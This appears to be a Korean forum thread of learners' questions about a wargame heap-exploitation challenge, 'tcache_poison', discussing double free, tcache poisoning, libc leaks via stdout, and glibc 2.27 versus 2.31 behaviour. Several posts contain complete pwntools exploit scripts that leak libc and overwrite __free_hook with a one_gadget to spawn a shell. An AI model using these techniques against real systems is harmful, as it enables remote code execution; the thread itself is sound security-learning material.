alloc(0x40, p64(fh)) alloc(0x40, p64(og)) 로 하면 익스플로잇이 안됩니다.. alloc(0x40, p64(fh)) alloc(0x40, "D"*8) alloc(0x40, p64(og)) 를 해야 하는데 중간에 왜 "D"*8을 넣는건가요? free hook에 저장된 주소를 바로 호출하는게 아닌건가요?

풀긴했는데 stdout으로 next 덮고 print하면 잘나오는데 stdin으로 하면 안나오는데 이유가 궁금합니다..

똑같은 코드를 이용하여 libc-2.31(로컬) libc-2.27(원격 서버)에서 테스트를 진행해보았을때, 원격은 잘되나, 로컬에서 진행할때에는 잘 되지 않습니다. 똑같은 코드이고 stdout 실제 매핑주소 오프셋도 버전별로 맞춰주었는데 27은 되고 31은 안됩니다. [1]Tcache Posioning alloc(0x30, "juntheworld") free() edit("AAAAAAAA"+"\x00") free() stdout_ptr = e.symbols["stdout"] alloc(0x30, p64(stdout_ptr)) alloc(0x30, "BBBBBBBB") alloc(0x30, "\xa0") #stdout for libc2.27 #alloc(0x30, "\xa0") # stdout for libc-2.31 print_chunk() 디버깅.png 조금 더 구체적으로, Double Free 이후 stdout을 가리키는 주소의 chunk를 malloc 받을때 2.31 버전은 해당 주소가 아닌 새로운 주소로 malloc을 받고 tcache의 값도 그대로 유지가 됩니다 ㅠㅠ 혹시 libc-2.31 버전에서는 tcache를 운영하는 방식이 변경되었나요? (힙영역이 아닌 영역의 주소가 tcache에 들어있다면, 이를 할당하지 않고 새롭게 할당 등등..) 혹시 그렇다면 관련된 내용은 어떻게 찾아볼 수 있을까요..!! 아래는 자세한 내용입니다. https://www.notion.so/libc-2-31-libc-2-27-5b4ac8da4a984f52aa50d612c5c3c76d

맨 처음에 해제된 청크가 제일 마지막에 재할당되는 LIFO 방식으로 알고있었는데 실습문제 코드에서 DFB로 duplication을 일으킨 뒤 libc Leak 과정 중에 첫 번째 할당 alloc(0x30, "BBBBBBBB")에서는 예상과 달리 맨처음 해제되었던 청크가 할당되고, 두 번째 할당 alloc(0x30, "\x60")에서야 stdout에 만든 free chunk가 할당되는게 이해가 안됩니다. 제 생각으로는 stdout에 만든 free chunk가 먼저 재할당되어야하는게 아닌가 싶었습니다 제가 완전 다르게 이해하고있는걸까요?.. ㅠ

Name: tcache_poison.py #!/usr/bin/python3 from pwn import * p = process("./tcache_poison") e = ELF("./tcache_poison") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") def slog(symbol, addr): return success(symbol + ": " + hex(addr)) def alloc(size, data): p.sendlineafter("Edit\n", "1") p.sendlineafter(":", str(size)) p.sendafter(":", data) def free(): p.sendlineafter("Edit\n", "2") def print_chunk(): p.sendlineafter("Edit\n", "3") def edit(data): p.sendlineafter("Edit\n", "4") p.sendafter(":", data) alloc(0x30, "dreamhack") free() edit("A"*8 + "\x00") free() addr_stdout = e.symbols["stdout"] alloc(0x30, p64(addr_stdout)) alloc(0x30, "BBBBBBBB") # "dreamhack" alloc(0x30, "\x60") # stdout print_chunk() p.recvuntil("Content: ") stdout = u64(p.recv(6).ljust(8, b"\x00")) lb = stdout - libc.symbols["IO_2_1_stdout"] fh = lb + libc.symbols["__free_hook"] og = lb + 0x4f432 slog("free_hook", fh) slog("one_gadget", og) 여기서 stdout의 값을 보는 alloc(0x30, p64(addr_stdout)) alloc(0x30, "BBBBBBBB") # "dreamhack" alloc(0x30, "\x60") 이 부분에서 이렇게 했을때 왜 stdout의 값을 볼수 있는지 궁금합니다!

tcache poisoning을 이용해서 aaw, aar을 수행하는데, 여기서 DFB가 들어가야 하는 이유를 잘 모르겠습니다. edit()함수를 이용해서 key값을 변경할 수 있는것을 생각해보면, edit()을 이용해서 fd값도 변경할 수 있으니 굳이 DFB를 하지 않아도 되는 것 아닌가요? 실제로 DFB를 이용하지 않더라도, edit()함수를 이용해서 stdout의 주소를 가져왔고, libc base를 leak했습니다. 여기서 왜 DFB를 사용해야 하는 것 인가요?

from pwn import * p = process('./tcache') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') malloc_hook_offset = libc.symbols['__malloc_hook'] #0x601010 def allocate(size_g, content): p.sendlineafter('Edit\n', '1') p.sendlineafter('Size: ', size_g) p.sendafter('Content: ', content) def free(): p.sendlineafter('Edit\n', '2') def edit(edit_chunk): p.sendlineafter('Edit\n', '4') p.sendafter('Edit chunk: ', edit_chunk) def print_g(): p.sendlineafter('Edit\n', '3') allocate('100', 'A') free() edit('A'*9) free() allocate('100', p64(0x601010)) allocate('100', 'A') allocate('100', 'a') print_g() p.interactive() ► 0x400893 <main+348> call printf@plt <printf@plt> format: 0x40098d ◂— 'Content: %s' vararg: 0x601010 (stdout@@GLIBC_2.2.5) —▸ 0x7f1307282761 (IO_2_1_stdout+1) ◂— 0xe300000000fbad28 lb구하는 과정인데 print_g 실행하고나서 부분인데 이렇게 되면 0x7f1307282761나 0xe300000000fbad28 둘 중에 뭔진 모르겠지만 한개는 출력될줄 알았는데 아무것도 안되네요. 뭐가 문젤까요

alloc(0x30, b'dreamhack') free() edit(b'B'*8 + b'\x00') free() tcache[0x40]: chunk A -> stdout -> IO_2_1_stdout -> ... addr_stdout = e.symbols['stdout'] alloc(0x30, p64(addr_stdout)) tcache[0x40]: stdout -> IO_2_1_stdout -> ... alloc(0x30, b'BBBBBBBB') 이 부분에서 BBBBBBBB 은 fd 부분의 주소를 수정했기 때문에 stdout -> IO_2_1_stdout -> ... -> dreamhack -> 의 마지막 순서에 dreamhack 이 BBBBBBBB 주소를 가리키는 것 맞나요 ??

이번 문제의 풀이에는 Double Free Bug를 사용했는데, 사실 생각해보면 tcache에 존재하는 청크의 값을 수정할 수 있는 edit 함수가 있다면, next를 수정할 수 있기 때문에 임의의 청크를 DFB를 사용하지 않고 추가할 수 있어서 아래와 같이 풀었는데, 이렇게 풀지 않고 꼭 DFB를 써야 하는 이유가 있을까요 ? from pwn import * p = remote('host3.dreamhack.games', 24385) elf = ELF('./tcache_poison') libc = ELF('./libc-2.27.so') def allocate(size, content): p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size: ', str(size).encode()) p.sendafter(b'Content: ', content) # 나중에 _IO_2_1_stdout__lsb를 보낼때 sendline으로 보내면 공백이 추가되서 안됨 def free(): p.sendlineafter(b'Edit\n', b'2') def print_chunk(): p.sendlineafter(b'Edit\n', b'3') def edit(content): p.sendlineafter(b'Edit\n', b'4') p.sendafter(b'Edit chunk: ', content) tcache[0x40] : empty chunk : first(1) allocate(0x30, b'first') tcache[0x40] : first(1) chunk : first(1) free() # (1) tcache[0x40] : first(1) -> stdout -> IO_2_1_stdout chunk : first(1) stdout = elf.symbols['stdout'] edit(p64(stdout) + b'a') tcache[0x40] : stdout -> IO_2_1_stdout chunk : first(1) allocate(0x30, b'a') 어떤 값을 대입하면서 allocate하더라도 이미 tcache에는 stdout이 링크드 리스트의 헤더(청크의 헤더X)로 존재하므로 상관없음 tcache[0x40] : IO_2_1_stdout chunk : stdout IO_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout'])[0:1] # 첫번째 문자열 가져옴 : 문자열에서 첫번째는 lsb allocate(0x30, _IO_2_1_stdout_lsb) 여기서 중요한게, 바로 아래에서 print_chunk를 할건데, stdout에 저장된(가리키는) IO_2_1_stdout을 변조하면 안됨 하지만 libc base를 몰라서 IO_stdout을 모르지만, 다행히 하위 3비트는 오프셋으로 고정되어 있어서 하위 1바이트인 lsb도 고정되있어서 lsb를 대입해주면 됨(리틀엔디언 잘 생각) print_chunk() # stdout에 저장된 IO_2_1_stdout_lsb 주소 출력 p.recvuntil(b'Content: ') # print_chunk에서 'Content: '는 안받아줬기 때문에 여기까지 받아줘야 libc_base를 제대로 계산 가능 Leak libc base libc_base = u64(p.recvn(6).ljust(8, b'\x00')) - libc.symbols['IO_2_1_stdout'] free_hook = libc_base + libc.symbols['__free_hook'] og = libc_base + 0x4f3ce og = libc_base + 0x4f3d5 og = libc_base + 0x4f432 og = libc_base + 0x10a41c 여기서 tcache[0x40] 을 다시 쓰면 IO_2_1_stdout을 가져오는데 이 주소의 값을 바꾸면 안되므로 다른 tcache 엔트리를 써야함 tcache[0x50] : empty chunk : first(1) allocate(0x40, b'first') tcahce[0x50] : first(1) chunk : first(1) free() tcache[0x50] : first(1) -> free_hook chunk : first(1) edit(p64(free_hook)) tcache[0x50] : free_hook chunk : first(1) allocate(0x40, b'a') tcache[0x50] : empty chunk : free_hook allocate(0x40, p64(og)) # free_hook이 저장된 주소에 og가 저장되어 free_hook -> og를 가리키게 됨 Exploit free() p.interactive() `

from pwn import * p = remote("host3.dreamhack.games", 15157) #p = process("./tcache_poison") e = ELF("./tcache_poison") libc = ELF("./libc-2.27.so") #full_relro이기때문에 hook_overwrite를 고려해볼수도 있고 #double free bug를 써봐야할듯 stdout = e.symbols['stdout'] p.sendline(b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', str('31337')) p.sendlineafter(b't\n', b'2') p.sendlineafter(b't\n',b'4') p.sendafter(b': ',str('AAAAAAAAA')) p.sendlineafter(b't\n',b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', p64(stdout)) p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'BBBBBBBB') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'\x60') p.sendlineafter(b't\n', b'3') p.recvuntil(b'Content: ') stdout = u64(p.recv(6) + b"\x00" * 2) print(hex(stdout)) lb = stdout - libc.symbols["IO_2_1_stdout"] fh = lb + libc.symbols["__free_hook"] print(hex(lb)) print(hex(fh)) oneshot = lb + 0x4f432 p.sendlineafter(b"t\n", b'1') p.sendlineafter(b": ", b'70') p.sendafter(b": ", b"31337") p.sendlineafter(b"t\n", b'2') p.sendlineafter(b"t\n", b'4') p.sendafter(b": ", b'aaaaaaaaa') p.sendlineafter(b"t\n", b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'70') p.sendafter(b": ", p64(fh)) p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', b'31337') p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', p64(oneshot)) p.sendlineafter(b"t\n", b'2') p.interactive() 저의 exploit코드는다음과 같습니다 local에서 실행시 끝까지 잘 진행되고 결과적으로 onegadget의 주소로 이동해서 터미널에서 ls를 치면 sh: 1: 2t.\x91\xd6: not found Allocate Free Print Edit 위와같은 문구가 무한히 반복하며 출력되어 서버에서도 시도했는데 서버는 sendlineafter에서 timeout이 발생하더라구요 Traceback (most recent call last): File "ex.py", line 17, in <module> p.sendafter(b': ',str('AAAAAAAAA')) File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 813, in sendafter res = self.recvuntil(delim, timeout=timeout) 다른분들의 ex코드들을 여러번 바꿔가며 실행해도 서버에서 sendlineafter부분에서 timeout이 발생합니다 원인이 뭘까요?